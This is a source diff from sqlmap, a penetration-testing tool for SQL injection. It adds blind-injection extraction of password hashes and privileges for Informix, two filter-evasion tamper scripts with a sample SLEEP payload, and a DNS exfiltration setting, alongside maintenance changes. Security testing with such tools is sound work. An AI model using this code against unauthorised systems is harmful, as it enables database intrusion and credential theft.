query = rootQuery.blind.query % (user,)
|
||||
else:
|
||||
query = rootQuery.blind.query % (user, index)
|
||||
|
||||
password = unArrayizeValue(inject.getValue(query, union=False, error=False))
|
||||
password = parsePasswordHash(password)
|
||||
|
||||
passwords.append(password)
|
||||
|
||||
if passwords:
|
||||
@@ -470,32 +477,35 @@ class Users:
|
||||
if Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema:
|
||||
user = "%%%s%%" % user
|
||||
|
||||
infoMsg = "fetching number of privileges "
|
||||
infoMsg += "for user '%s'" % outuser
|
||||
logger.info(infoMsg)
|
||||
|
||||
if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
|
||||
query = rootQuery.blind.count2 % user
|
||||
elif Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema:
|
||||
query = rootQuery.blind.count % (conditionChar, user)
|
||||
elif Backend.isDbms(DBMS.ORACLE) and query2:
|
||||
query = rootQuery.blind.count2 % user
|
||||
if Backend.isDbms(DBMS.INFORMIX):
|
||||
count = 1
|
||||
else:
|
||||
query = rootQuery.blind.count % user
|
||||
infoMsg = "fetching number of privileges "
|
||||
infoMsg += "for user '%s'" % outuser
|
||||
logger.info(infoMsg)
|
||||
|
||||
count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
|
||||
if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
|
||||
query = rootQuery.blind.count2 % user
|
||||
elif Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema:
|
||||
query = rootQuery.blind.count % (conditionChar, user)
|
||||
elif Backend.isDbms(DBMS.ORACLE) and query2:
|
||||
query = rootQuery.blind.count2 % user
|
||||
else:
|
||||
query = rootQuery.blind.count % user
|
||||
|
||||
if not isNumPosStrValue(count):
|
||||
if not retrievedUsers and Backend.isDbms(DBMS.ORACLE) and not query2:
|
||||
infoMsg = "trying with table USER_SYS_PRIVS"
|
||||
logger.info(infoMsg)
|
||||
count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
|
||||
|
||||
return self.getPrivileges(query2=True)
|
||||
if not isNumPosStrValue(count):
|
||||
if not retrievedUsers and Backend.isDbms(DBMS.ORACLE) and not query2:
|
||||
infoMsg = "trying with table USER_SYS_PRIVS"
|
||||
logger.info(infoMsg)
|
||||
|
||||
warnMsg = "unable to retrieve the number of "
|
||||
warnMsg += "privileges for user '%s'" % outuser
|
||||
logger.warn(warnMsg)
|
||||
continue
|
||||
return self.getPrivileges(query2=True)
|
||||
|
||||
warnMsg = "unable to retrieve the number of "
|
||||
warnMsg += "privileges for user '%s'" % outuser
|
||||
logger.warn(warnMsg)
|
||||
continue
|
||||
|
||||
infoMsg = "fetching privileges for user '%s'" % outuser
|
||||
logger.info(infoMsg)
|
||||
@@ -514,6 +524,8 @@ class Users:
|
||||
query = rootQuery.blind.query2 % (user, index)
|
||||
elif Backend.isDbms(DBMS.FIREBIRD):
|
||||
query = rootQuery.blind.query % (index, user)
|
||||
elif Backend.isDbms(DBMS.INFORMIX):
|
||||
query = rootQuery.blind.query % (user,)
|
||||
else:
|
||||
query = rootQuery.blind.query % (user, index)
|
||||
|
||||
@@ -561,6 +573,10 @@ class Users:
|
||||
elif Backend.isDbms(DBMS.FIREBIRD):
|
||||
privileges.add(FIREBIRD_PRIVS[privilege.strip()])
|
||||
|
||||
# In Informix we get one letter for the highest privilege
|
||||
elif Backend.isDbms(DBMS.INFORMIX):
|
||||
privileges.add(INFORMIX_PRIVS[privilege.strip()])
|
||||
|
||||
# In DB2 we get Y or G if the privilege is
|
||||
# True, N otherwise
|
||||
elif Backend.isDbms(DBMS.DB2):
|
||||
|
||||
+18
-6
@@ -98,6 +98,22 @@ authCred =
|
||||
# Syntax: key_file
|
||||
authFile =
|
||||
|
||||
# Ignore HTTP Error 401 (Unauthorized).
|
||||
# Valid: True or False
|
||||
ignore401 = False
|
||||
|
||||
# Ignore system default proxy settings.
|
||||
# Valid: True or False
|
||||
ignoreProxy = False
|
||||
|
||||
# Ignore redirection attempts.
|
||||
# Valid: True or False
|
||||
ignoreRedirects = False
|
||||
|
||||
# Ignore connection timeouts.
|
||||
# Valid: True or False
|
||||
ignoreTimeouts = False
|
||||
|
||||
# Use a proxy to connect to the target URL.
|
||||
# Syntax: (http|https|socks4|socks5)://address:port
|
||||
proxy =
|
||||
@@ -110,10 +126,6 @@ proxyCred =
|
||||
# Load proxy list from a file
|
||||
proxyFile =
|
||||
|
||||
# Ignore system default proxy settings.
|
||||
# Valid: True or False
|
||||
ignoreProxy = False
|
||||
|
||||
# Use Tor anonymity network.
|
||||
# Valid: True or False
|
||||
tor = False
|
||||
@@ -222,7 +234,7 @@ testParameter =
|
||||
# Skip testing for given parameter(s).
|
||||
skip =
|
||||
|
||||
# Skip testing parameters that not appear dynamic.
|
||||
# Skip testing parameters that not appear to be dynamic.
|
||||
# Valid: True or False
|
||||
skipStatic = False
|
||||
|
||||
@@ -369,7 +381,7 @@ uFrom =
|
||||
|
||||
# Domain name used for DNS exfiltration attack
|
||||
# Valid: string
|
||||
dnsName =
|
||||
dnsDomain =
|
||||
|
||||
# Resulting page URL searched for second-order response
|
||||
# Valid: string
|
||||
|
||||
@@ -63,8 +63,6 @@ try:
|
||||
from lib.core.testing import smokeTest
|
||||
from lib.core.testing import liveTest
|
||||
from lib.parse.cmdline import cmdLineParser
|
||||
from lib.utils.api import setRestAPILog
|
||||
from lib.utils.api import StdDbOut
|
||||
except KeyboardInterrupt:
|
||||
errMsg = "user aborted"
|
||||
logger.error(errMsg)
|
||||
@@ -101,6 +99,15 @@ def checkEnvironment():
|
||||
logger.critical(errMsg)
|
||||
raise SystemExit
|
||||
|
||||
# Patch for pip (import) environment
|
||||
if "sqlmap.sqlmap" in sys.modules:
|
||||
for _ in ("cmdLineOptions", "conf", "kb"):
|
||||
globals()[_] = getattr(sys.modules["lib.core.data"], _)
|
||||
|
||||
for _ in ("SqlmapBaseException", "SqlmapShellQuitException", "SqlmapSilentQuitException", "SqlmapUserQuitException"):
|
||||
globals()[_] = getattr(sys.modules["lib.core.exception"], _)
|
||||
|
||||
|
||||
def main():
|
||||
"""
|
||||
Main function of sqlmap when running from command line.
|
||||
@@ -117,6 +124,10 @@ def main():
|
||||
initOptions(cmdLineOptions)
|
||||
|
||||
if hasattr(conf, "api"):
|
||||
# heavy imports
|
||||
from lib.utils.api import StdDbOut
|
||||
from lib.utils.api import setRestAPILog
|
||||
|
||||
# Overwrite system standard output and standard error to write
|
||||
# to an IPC database
|
||||
sys.stdout = StdDbOut(conf.taskid, messagetype="stdout")
|
||||
@@ -195,7 +206,7 @@ def main():
|
||||
|
||||
try:
|
||||
if not checkIntegrity():
|
||||
errMsg = "code integrity check failed. "
|
||||
errMsg = "code integrity check failed (turning off automatic issue creation). "
|
||||
errMsg += "You should retrieve the latest development version from official GitHub "
|
||||
errMsg += "repository at '%s'" % GIT_PAGE
|
||||
logger.critical(errMsg)
|
||||
@@ -203,6 +214,17 @@ def main():
|
||||
dataToStdout(excMsg)
|
||||
raise SystemExit
|
||||
|
||||
elif "tamper/" in excMsg:
|
||||
logger.critical(errMsg)
|
||||
print
|
||||
dataToStdout(excMsg)
|
||||
raise SystemExit
|
||||
|
||||
elif "MemoryError" in excMsg:
|
||||
errMsg = "memory exhaustion detected"
|
||||
logger.error(errMsg)
|
||||
raise SystemExit
|
||||
|
||||
elif any(_ in excMsg for _ in ("No space left", "Disk quota exceeded")):
|
||||
errMsg = "no space left on output device"
|
||||
logger.error(errMsg)
|
||||
|
||||
+3
-3
@@ -37,9 +37,9 @@ def main():
|
||||
apiparser = optparse.OptionParser()
|
||||
apiparser.add_option("-s", "--server", help="Act as a REST-JSON API server", default=RESTAPI_DEFAULT_PORT, action="store_true")
|
||||
apiparser.add_option("-c", "--client", help="Act as a REST-JSON API client", default=RESTAPI_DEFAULT_PORT, action="store_true")
|
||||
apiparser.add_option("-H", "--host", help="Host of the REST-JSON API server", default=RESTAPI_DEFAULT_ADDRESS, action="store")
|
||||
apiparser.add_option("-p", "--port", help="Port of the the REST-JSON API server", default=RESTAPI_DEFAULT_PORT, type="int", action="store")
|
||||
apiparser.add_option("--adapter", help="Server (bottle) adapter to use (default %s)" % RESTAPI_DEFAULT_ADAPTER, default=RESTAPI_DEFAULT_ADAPTER, action="store")
|
||||
apiparser.add_option("-H", "--host", help="Host of the REST-JSON API server (default \"%s\")" % RESTAPI_DEFAULT_ADDRESS, default=RESTAPI_DEFAULT_ADDRESS, action="store")
|
||||
apiparser.add_option("-p", "--port", help="Port of the the REST-JSON API server (default %d)" % RESTAPI_DEFAULT_PORT, default=RESTAPI_DEFAULT_PORT, type="int", action="store")
|
||||
apiparser.add_option("--adapter", help="Server (bottle) adapter to use (default \"%s\")" % RESTAPI_DEFAULT_ADAPTER, default=RESTAPI_DEFAULT_ADAPTER, action="store")
|
||||
(args, _) = apiparser.parse_args()
|
||||
|
||||
# Start the client or the server
|
||||
|
||||
@@ -0,0 +1,25 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'doc/COPYING' for copying permission
|
||||
"""
|
||||
|
||||
import re
|
||||
|
||||
from lib.core.enums import PRIORITY
|
||||
|
||||
__priority__ = PRIORITY.LOW
|
||||
|
||||
def dependencies():
|
||||
pass
|
||||
|
||||
def tamper(payload, **kwargs):
|
||||
"""
|
||||
HTML encode (using code points) all non-alphanumeric characters
|
||||
|
||||
>>> tamper("1' AND SLEEP(5)#")
|
||||
'1' AND SLEEP(5)#'
|
||||
"""
|
||||
|
||||
return re.sub(r"[^\w]", lambda match: "&#%d;" % ord(match.group(0)), payload) if payload else payload
|
||||
@@ -0,0 +1,57 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'doc/COPYING' for copying permission
|
||||
"""
|
||||
|
||||
from lib.core.common import zeroDepthSearch
|
||||
from lib.core.enums import PRIORITY
|
||||
|
||||
__priority__ = PRIORITY.HIGHEST
|
||||
|
||||
def dependencies():
|
||||
pass
|
||||
|
||||
def tamper(payload, **kwargs):
|
||||
"""
|
||||
Replaces plus ('+') character with function CONCAT()
|
||||
|
||||
Tested against:
|
||||
* Microsoft SQL Server 2012
|
||||
|
||||
Requirements:
|
||||
* Microsoft SQL Server 2012+
|
||||
|
||||
Notes:
|
||||
* Useful in case ('+') character is filtered
|
||||
|
||||
>>> tamper('SELECT CHAR(113)+CHAR(114)+CHAR(115) FROM DUAL')
|
||||
'SELECT CONCAT(CHAR(113),CHAR(114),CHAR(115)) FROM DUAL'
|
||||
"""
|
||||
|
||||
retVal = payload
|
||||
|
||||
if payload:
|
||||
while True:
|
||||
indexes = zeroDepthSearch(retVal, '+')
|
||||
if indexes:
|
||||
first, last = 0, 0
|
||||
for i in xrange(1, len(indexes)):
|
||||
if ' ' in retVal[indexes[0]:indexes[i]]:
|
||||
break
|
||||
else:
|
||||
last = i
|
||||
|
||||
start = retVal[:indexes[first]].rfind(' ') + 1
|
||||
end = (retVal[indexes[last] + 1:].find(' ') + indexes[last] + 1) if ' ' in retVal[indexes[last] + 1:] else len(retVal) - 1
|
||||
|
||||
chars = [char for char in retVal]
|
||||
for index in indexes[first:last + 1]:
|
||||
chars[index] = ','
|
||||
|
||||
retVal = "%sCONCAT(%s)%s" % (retVal[:start], ''.join(chars)[start:end], retVal[end:])
|
||||
else:
|
||||
break
|
||||
|
||||
return retVal
|
||||
+22
-18
@@ -512,25 +512,29 @@ class Tag(PageElement):
|
||||
entities with the appropriate Unicode characters. If HTML
|
||||
entities are being converted, any unrecognized entities are
|
||||
escaped."""
|
||||
x = match.group(1)
|
||||
if self.convertHTMLEntities and x in name2codepoint:
|
||||
return unichr(name2codepoint[x])
|
||||
elif x in self.XML_ENTITIES_TO_SPECIAL_CHARS:
|
||||
if self.convertXMLEntities:
|
||||
return self.XML_ENTITIES_TO_SPECIAL_CHARS[x]
|
||||
else:
|
||||
return u'&%s;' % x
|
||||
elif len(x) > 0 and x[0] == '#':
|
||||
# Handle numeric entities
|
||||
if len(x) > 1 and x[1] == 'x':
|
||||
return unichr(int(x[2:], 16))
|
||||
else:
|
||||
return unichr(int(x[1:]))
|
||||
try:
|
||||
x = match.group(1)
|
||||
if self.convertHTMLEntities and x in name2codepoint:
|
||||
return unichr(name2codepoint[x])
|
||||
elif x in self.XML_ENTITIES_TO_SPECIAL_CHARS:
|
||||
if self.convertXMLEntities:
|
||||
return self.XML_ENTITIES_TO_SPECIAL_CHARS[x]
|
||||
else:
|
||||
return u'&%s;' % x
|
||||
elif len(x) > 0 and x[0] == '#':
|
||||
# Handle numeric entities
|
||||
if len(x) > 1 and x[1] == 'x':
|
||||
return unichr(int(x[2:], 16))
|
||||
else:
|
||||
return unichr(int(x[1:]))
|
||||
|
||||
elif self.escapeUnrecognizedEntities:
|
||||
return u'&%s;' % x
|
||||
else:
|
||||
return u'&%s;' % x
|
||||
elif self.escapeUnrecognizedEntities:
|
||||
return u'&%s;' % x
|
||||
|
||||
except ValueError: # e.g. ValueError: unichr() arg not in range(0x10000)
|
||||
pass
|
||||
|
||||
return u'&%s;' % x
|
||||
|
||||
def __init__(self, parser, name, attrs=None, parent=None,
|
||||
previous=None):
|
||||
|
||||
Vendored
+1
-1
@@ -199,7 +199,7 @@ try:
|
||||
magic_compile.restype = c_int
|
||||
magic_compile.argtypes = [magic_t, c_char_p]
|
||||
|
||||
except ImportError:
|
||||
except (ImportError, OSError):
|
||||
from_file = from_buffer = lambda *args, **kwargs: "unknown"
|
||||
|
||||
MAGIC_NONE = 0x000000 # No flags
|
||||
|
||||
Vendored
+671
-309
File diff suppressed because it is too large
Load Diff
Vendored
+10
@@ -0,0 +1,10 @@
|
||||
#!/usr/bin/env python
|
||||
#
|
||||
# Copyright Ryan Vennell
|
||||
#
|
||||
# This software released into the public domain. Anyone is free to copy,
|
||||
# modify, publish, use, compile, sell, or distribute this software,
|
||||
# either in source code form or as a compiled binary, for any purpose,
|
||||
# commercial or non-commercial, and by any means.
|
||||
|
||||
pass
|
||||
+85
@@ -0,0 +1,85 @@
|
||||
#!/usr/bin/env python
|
||||
# This software released into the public domain. Anyone is free to copy,
|
||||
# modify, publish, use, compile, sell, or distribute this software,
|
||||
# either in source code form or as a compiled binary, for any purpose,
|
||||
# commercial or non-commercial, and by any means.
|
||||
|
||||
import socket
|
||||
import ctypes
|
||||
import os
|
||||
|
||||
|
||||
class sockaddr(ctypes.Structure):
|
||||
_fields_ = [("sa_family", ctypes.c_short),
|
||||
("__pad1", ctypes.c_ushort),
|
||||
("ipv4_addr", ctypes.c_byte * 4),
|
||||
("ipv6_addr", ctypes.c_byte * 16),
|
||||
("__pad2", ctypes.c_ulong)]
|
||||
|
||||
if hasattr(ctypes, 'windll'):
|
||||
WSAStringToAddressA = ctypes.windll.ws2_32.WSAStringToAddressA
|
||||
WSAAddressToStringA = ctypes.windll.ws2_32.WSAAddressToStringA
|
||||
else:
|
||||
def not_windows():
|
||||
raise SystemError(
|
||||
"Invalid platform. ctypes.windll must be available."
|
||||
)
|
||||
WSAStringToAddressA = not_windows
|
||||
WSAAddressToStringA = not_windows
|
||||
|
||||
|
||||
def inet_pton(address_family, ip_string):
|
||||
addr = sockaddr()
|
||||
addr.sa_family = address_family
|
||||
addr_size = ctypes.c_int(ctypes.sizeof(addr))
|
||||
|
||||
if WSAStringToAddressA(
|
||||
ip_string,
|
||||
address_family,
|
||||
None,
|
||||
ctypes.byref(addr),
|
||||
ctypes.byref(addr_size)
|
||||
) != 0:
|
||||
raise socket.error(ctypes.FormatError())
|
||||
|
||||
if address_family == socket.AF_INET:
|
||||
return ctypes.string_at(addr.ipv4_addr, 4)
|
||||
if address_family == socket.AF_INET6:
|
||||
return ctypes.string_at(addr.ipv6_addr, 16)
|
||||
|
||||
raise socket.error('unknown address family')
|
||||
|
||||
|
||||
def inet_ntop(address_family, packed_ip):
|
||||
addr = sockaddr()
|
||||
addr.sa_family = address_family
|
||||
addr_size = ctypes.c_int(ctypes.sizeof(addr))
|
||||
ip_string = ctypes.create_string_buffer(128)
|
||||
ip_string_size = ctypes.c_int(ctypes.sizeof(ip_string))
|
||||
|
||||
if address_family == socket.AF_INET:
|
||||
if len(packed_ip) != ctypes.sizeof(addr.ipv4_addr):
|
||||
raise socket.error('packed IP wrong length for inet_ntoa')
|
||||
ctypes.memmove(addr.ipv4_addr, packed_ip, 4)
|
||||
elif address_family == socket.AF_INET6:
|
||||
if len(packed_ip) != ctypes.sizeof(addr.ipv6_addr):
|
||||
raise socket.error('packed IP wrong length for inet_ntoa')
|
||||
ctypes.memmove(addr.ipv6_addr, packed_ip, 16)
|
||||
else:
|
||||
raise socket.error('unknown address family')
|
||||
|
||||
if WSAAddressToStringA(
|
||||
ctypes.byref(addr),
|
||||
addr_size,
|
||||
None,
|
||||
ip_string,
|
||||
ctypes.byref(ip_string_size)
|
||||
) != 0:
|
||||
raise socket.error(ctypes.FormatError())
|
||||
|
||||
return ip_string[:ip_string_size.value - 1]
|
||||
|
||||
# Adding our two functions to the socket library
|
||||
if os.name == 'nt':
|
||||
socket.inet_pton = inet_pton
|
||||
socket.inet_ntop = inet_ntop
|
||||
+92
-82
@@ -10,90 +10,89 @@ acba8b5dc93db0fe6b2b04ff0138c33c extra/icmpsh/icmpsh.exe_
|
||||
cc9c82cfffd8ee9b25ba3af6284f057e extra/__init__.py
|
||||
2237d0568236c354b0436d2cd9434f97 extra/mssqlsig/update.py
|
||||
cc9c82cfffd8ee9b25ba3af6284f057e extra/safe2bin/__init__.py
|
||||
cc5b67714d8a0b6b81d29a4f15634c16 extra/safe2bin/safe2bin.py
|
||||
a54bde99fd05fdb412cba5a8780f3e18 extra/safe2bin/safe2bin.py
|
||||
d229479d02d21b29f209143cb0547780 extra/shellcodeexec/linux/shellcodeexec.x32_
|
||||
2fe2f94eebc62f7614f0391a8a90104f extra/shellcodeexec/linux/shellcodeexec.x64_
|
||||
c55b400b72acc43e0e59c87dd8bb8d75 extra/shellcodeexec/windows/shellcodeexec.x32.exe_
|
||||
b46521e29ea3d813bab5aeb16cac6498 extra/shutils/duplicates.py
|
||||
4bf52b3fd5e906b9bbe104dda769f5c5 extra/shutils/pylint.py
|
||||
05615626222060120450518136b14ba9 extra/shutils/regressiontest.py
|
||||
8cd064eea3506e5dd913e03171bc418f extra/shutils/pylint.py
|
||||
a8dd1f5799ed863a80b94c36b5428528 extra/shutils/regressiontest.py
|
||||
cc9c82cfffd8ee9b25ba3af6284f057e extra/sqlharvest/__init__.py
|
||||
4f2f817596540d82f9fcc0c5b2228beb extra/sqlharvest/sqlharvest.py
|
||||
b704c0f943c015f6247cfae20048ae8e lib/controller/action.py
|
||||
d1451b43f3ac80bfbea8657e288865f8 lib/controller/checks.py
|
||||
7c5ba631796f12d6de9b667e4cc7812b lib/controller/controller.py
|
||||
5ae8f657fd4e8026fcc9624f5b5533fe lib/controller/handler.py
|
||||
2daa39e4d59526acb4772b6c47eb315f lib/controller/action.py
|
||||
33299308c821d04c2caf35d4c7a415ff lib/controller/checks.py
|
||||
35029bd013e74ca45749aa57e585aac9 lib/controller/controller.py
|
||||
ec007a1424da78cfdae90da6ae49ed9b lib/controller/handler.py
|
||||
cc9c82cfffd8ee9b25ba3af6284f057e lib/controller/__init__.py
|
||||
2689f320908964b2c88a3eb8265fd2dd lib/core/agent.py
|
||||
04f16204c899438dc7599a9a8426bfee lib/core/agent.py
|
||||
eb0bd28b0bd9fbf67dcc3119116df377 lib/core/bigarray.py
|
||||
1dd298ac06c961037bb76a675bb4b322 lib/core/common.py
|
||||
5680d0c446a3bed5c0f2a0402d031557 lib/core/convert.py
|
||||
aef64655185ac789696de9ba73d65ec9 lib/core/common.py
|
||||
ab5ef8fe4e4beaef4016d458d0fdefe3 lib/core/convert.py
|
||||
e77cca1cb063016f71f6e6bdebf4ec73 lib/core/data.py
|
||||
1d042f0bc0557d3fd564ea5a46deb77e lib/core/datatype.py
|
||||
e4ca0fd47f20cf7ba6a5f5cbf980073c lib/core/decorators.py
|
||||
67f206cf2658145992cc1d7020138325 lib/core/defaults.py
|
||||
4a16002c5d9cd047c2e89ddc5db63737 lib/core/dicts.py
|
||||
3b2c013b610c5ae3193ced4f19bf1931 lib/core/dicts.py
|
||||
1f98d3f57ce21d625fd67adb26cfd13c lib/core/dump.py
|
||||
34a45b9bc68a6381247a620ddf30de1c lib/core/enums.py
|
||||
b218e03ef7426fb0414881b05add1092 lib/core/enums.py
|
||||
e4aec2b11c1ad6039d0c3dbbfbc5eb1a lib/core/exception.py
|
||||
cc9c82cfffd8ee9b25ba3af6284f057e lib/core/__init__.py
|
||||
91c514013daa796e2cdd940389354eac lib/core/log.py
|
||||
b9779615206791e6ebbaa84947842b49 lib/core/optiondict.py
|
||||
57109386dcff87507201f14a5821fd41 lib/core/option.py
|
||||
1e8948dddbd12def5c2af52530738059 lib/core/profiling.py
|
||||
86c86d2ee9e0eb74b13c16797b7dfc51 lib/core/optiondict.py
|
||||
eb5e96b4baef52ad172e0359c1783d83 lib/core/option.py
|
||||
7af487340c138f7b5dbd443161cbb428 lib/core/profiling.py
|
||||
e60456db5380840a586654344003d4e6 lib/core/readlineng.py
|
||||
5ef56abb8671c2ca6ceecb208258e360 lib/core/replication.py
|
||||
b3a62d41a5af6cd7fa733b6227febb0c lib/core/replication.py
|
||||
99a2b496b9d5b546b335653ca801153f lib/core/revision.py
|
||||
7c15dd2777af4dac2c89cab6df17462e lib/core/session.py
|
||||
1a8eccb8108e213d7b7257302e82cef8 lib/core/settings.py
|
||||
079c062fb2fa5b45e2dbbf25323bc48a lib/core/settings.py
|
||||
7af83e4f18cab6dff5e67840eb65be80 lib/core/shell.py
|
||||
23657cd7d924e3c6d225719865855827 lib/core/subprocessng.py
|
||||
0bc2fae1dec18cdd11954b22358293f2 lib/core/target.py
|
||||
21b9aa385c851a4e8faaff9b985e29b8 lib/core/testing.py
|
||||
424a6cf9bdfaf7182657ed7929d7df5a lib/core/threads.py
|
||||
c3ace7874a536d801f308cf1fd03df99 lib/core/target.py
|
||||
d43f059747ffd48952922c94152e2a07 lib/core/testing.py
|
||||
95997f8d0b23fed9289b04b85d0e9b64 lib/core/threads.py
|
||||
53c15b78e0288274f52410db25406432 lib/core/unescaper.py
|
||||
6bdc53e2ca152ff8cd35ad671e48a96b lib/core/update.py
|
||||
60100cb265ae8bb903b760c7b7a3a7f3 lib/core/update.py
|
||||
8485a3cd94c0a5af2718bad60c5f1ae5 lib/core/wordlist.py
|
||||
354ecc0c6d3e0ac9c06ed897c4d52edf lib/core/xmldump.py
|
||||
cc9c82cfffd8ee9b25ba3af6284f057e lib/__init__.py
|
||||
c1288bc4ce5651dbdd82d4a9435fdc03 lib/parse/banner.py
|
||||
daea32290b63c43f7d1c0e14c66d4826 lib/parse/cmdline.py
|
||||
ba4c9a57e87f54c647ca29a14fa82f9c lib/parse/cmdline.py
|
||||
8ec4d4f02634834701f8258726f2e511 lib/parse/configfile.py
|
||||
fe4e2152292587928edb94c9a4d311ff lib/parse/handler.py
|
||||
8e6bfb13e5a34b2610f3ff23467a34cf lib/parse/headers.py
|
||||
c8e14fbfc6616d8149b2603c97abec84 lib/parse/html.py
|
||||
cfa7b4c52915e1d7d59409ed49f0e623 lib/parse/html.py
|
||||
cc9c82cfffd8ee9b25ba3af6284f057e lib/parse/__init__.py
|
||||
af6b8e1c6eb074b56bbd9cd80aebcd97 lib/parse/payloads.py
|
||||
b40a4c5d91770d347df36d3065b63798 lib/parse/sitemap.py
|
||||
9299f21804033f099681525bb9bf51c0 lib/request/basicauthhandler.py
|
||||
a3e83cfe7e6825fb1b70951ad290d2ae lib/request/basic.py
|
||||
97fb6323bfb5f941b27cbdb00f9078e1 lib/request/comparison.py
|
||||
8bc040159a145a1dfdf8a3fe76a0adbc lib/request/connect.py
|
||||
49b4c583af68689de5f9acb162de2939 lib/request/direct.py
|
||||
1a46f7bb26b23ec0c0d9d9c95828241b lib/request/dns.py
|
||||
70ceefe39980611494d4f99afb96f652 lib/request/httpshandler.py
|
||||
083e7f446909b12009e72ae8e5e5737c lib/request/basic.py
|
||||
c48285682a61d49982cb508351013cb4 lib/request/comparison.py
|
||||
9bff6fe291805380c6a74d0cda6684a5 lib/request/connect.py
|
||||
d4d52c1073c75a6eecd2ebb98b670b96 lib/request/direct.py
|
||||
4ae7f4570fb859045f0487cc0b055a8e lib/request/dns.py
|
||||
58f63132eb56ad41ae6af4fe61933a2d lib/request/httpshandler.py
|
||||
cc9c82cfffd8ee9b25ba3af6284f057e lib/request/__init__.py
|
||||
aa155f8b27d56485d3ff15efa5e1b07a lib/request/inject.py
|
||||
62aff2a7bdd43f6e4d33385f57ec3e4c lib/request/inject.py
|
||||
3fc323d525beddd14cd4d4dca4934fa8 lib/request/methodrequest.py
|
||||
585a6705cfac79f795b835affb80c901 lib/request/pkihandler.py
|
||||
b2ffd261947994f4a4af555d468b4970 lib/request/rangehandler.py
|
||||
53eede2efbfabc7315ea99756a03f49d lib/request/redirecthandler.py
|
||||
30eda640dc427585c3dbf4762a30bd38 lib/request/redirecthandler.py
|
||||
4d838b086f128a94a91aa293ca1e0719 lib/request/templates.py
|
||||
937b7e276f25ccac5a2ac0bf9b1ef434 lib/takeover/abstraction.py
|
||||
3ecf028d8d93025d2a12c6f6fc13adb2 lib/takeover/icmpsh.py
|
||||
cc9c82cfffd8ee9b25ba3af6284f057e lib/takeover/__init__.py
|
||||
1d064463302b85b2241263ea48a83837 lib/takeover/metasploit.py
|
||||
2d39688ec1b871005b520b6f1ed97ba6 lib/takeover/metasploit.py
|
||||
7083825564c051a7265cfdd1a5e6629c lib/takeover/registry.py
|
||||
7d6cd7bdfc8f4bc4e8aed60c84cdf87f lib/takeover/udf.py
|
||||
f6e3084abd506925a8be3d1c0a6d058c lib/takeover/web.py
|
||||
d9bdcc17091374c53ad2eea7fd72a909 lib/takeover/web.py
|
||||
9af83a62de360184f1c14e69b8a95cfe lib/takeover/xp_cmdshell.py
|
||||
927092550c89f8c3c5caad2b14af0830 lib/techniques/blind/inference.py
|
||||
0ad6fbd71649f736083c00e58de750b9 lib/techniques/blind/inference.py
|
||||
cc9c82cfffd8ee9b25ba3af6284f057e lib/techniques/blind/__init__.py
|
||||
cc9c82cfffd8ee9b25ba3af6284f057e lib/techniques/brute/__init__.py
|
||||
d36effffe64e63ef9b3be490f850e2cc lib/techniques/brute/use.py
|
||||
cc9c82cfffd8ee9b25ba3af6284f057e lib/techniques/dns/__init__.py
|
||||
b658a1df33fd967c0b6d82911383abda lib/techniques/dns/test.py
|
||||
4033bdb9e6973ee814fb68d3cf9e710c lib/techniques/dns/use.py
|
||||
99484ca6f1c12dac031e6a0ebef33ef1 lib/techniques/dns/test.py
|
||||
77b414d35fd13c8ba6aa171d5d420dc9 lib/techniques/dns/use.py
|
||||
cc9c82cfffd8ee9b25ba3af6284f057e lib/techniques/error/__init__.py
|
||||
4a1fb475f4a193e2cac48c8c038f5677 lib/techniques/error/use.py
|
||||
cc9c82cfffd8ee9b25ba3af6284f057e lib/techniques/__init__.py
|
||||
@@ -102,9 +101,9 @@ f5d6884cdeed28281187c111d3e49e3b lib/techniques/union/test.py
|
||||
12ce1bb7ee5f1f23f58be12fe9fa8472 lib/techniques/union/use.py
|
||||
26c1babc6289fac9056f8b21d10f3bb1 lib/utils/api.py
|
||||
8cdc8c1e663c3b92a756fb7b02cc3c02 lib/utils/crawler.py
|
||||
393f8fd1684308213e1d2e6a9d4258c2 lib/utils/deps.py
|
||||
84604ae4cf0f31602b412036b51f5dae lib/utils/deps.py
|
||||
4dfd3a95e73e806f62372d63bc82511f lib/utils/getch.py
|
||||
b1e83fc549334fae8f60552dcdad28cb lib/utils/hashdb.py
|
||||
f71a7b0aec145ba77edd3c4543621fb9 lib/utils/hashdb.py
|
||||
0330607242d4f704ae6d7bba5f52ccae lib/utils/hash.py
|
||||
a3e885f7d4c6ff05db1156244bb84158 lib/utils/htmlentities.py
|
||||
cc9c82cfffd8ee9b25ba3af6284f057e lib/utils/__init__.py
|
||||
@@ -113,9 +112,9 @@ da08a0b58c08ff452c7d1da4857d6680 lib/utils/progress.py
|
||||
4c8895fb543aa5ae81f2d066422613f0 lib/utils/purge.py
|
||||
cc9b0f68dd58a2576a5a454b7f5f6b9c lib/utils/search.py
|
||||
4a0374ac0bc9d726446f04c77fbb5697 lib/utils/sqlalchemy.py
|
||||
8013e4a4c62ad916452434ea3c352a7a lib/utils/timeout.py
|
||||
93dc08ba9f732d378f02cf85eae89df2 lib/utils/timeout.py
|
||||
e6fa0e76367a77015da113811dfd9712 lib/utils/versioncheck.py
|
||||
4759e0bb8931d461dfcad410ca05fc5d lib/utils/xrange.py
|
||||
adafdb28095ba2d03322fee2aae4548f lib/utils/xrange.py
|
||||
988100b4a1cd3b07acfd8b6ec692aed5 plugins/dbms/access/connector.py
|
||||
27a5ae5611836b073dd53b21435f0979 plugins/dbms/access/enumeration.py
|
||||
438090ab8ca63d9c23831a5ffbef74d9 plugins/dbms/access/filesystem.py
|
||||
@@ -144,6 +143,13 @@ c9d59b7c60aa0f0b23f920f932547e40 plugins/dbms/hsqldb/fingerprint.py
|
||||
d278ad5f1c13fea871ed1120942244d5 plugins/dbms/hsqldb/__init__.py
|
||||
d781720e15c23b662bae3098ed470756 plugins/dbms/hsqldb/syntax.py
|
||||
2f957281cfe80396f73a3dccc0cb6d45 plugins/dbms/hsqldb/takeover.py
|
||||
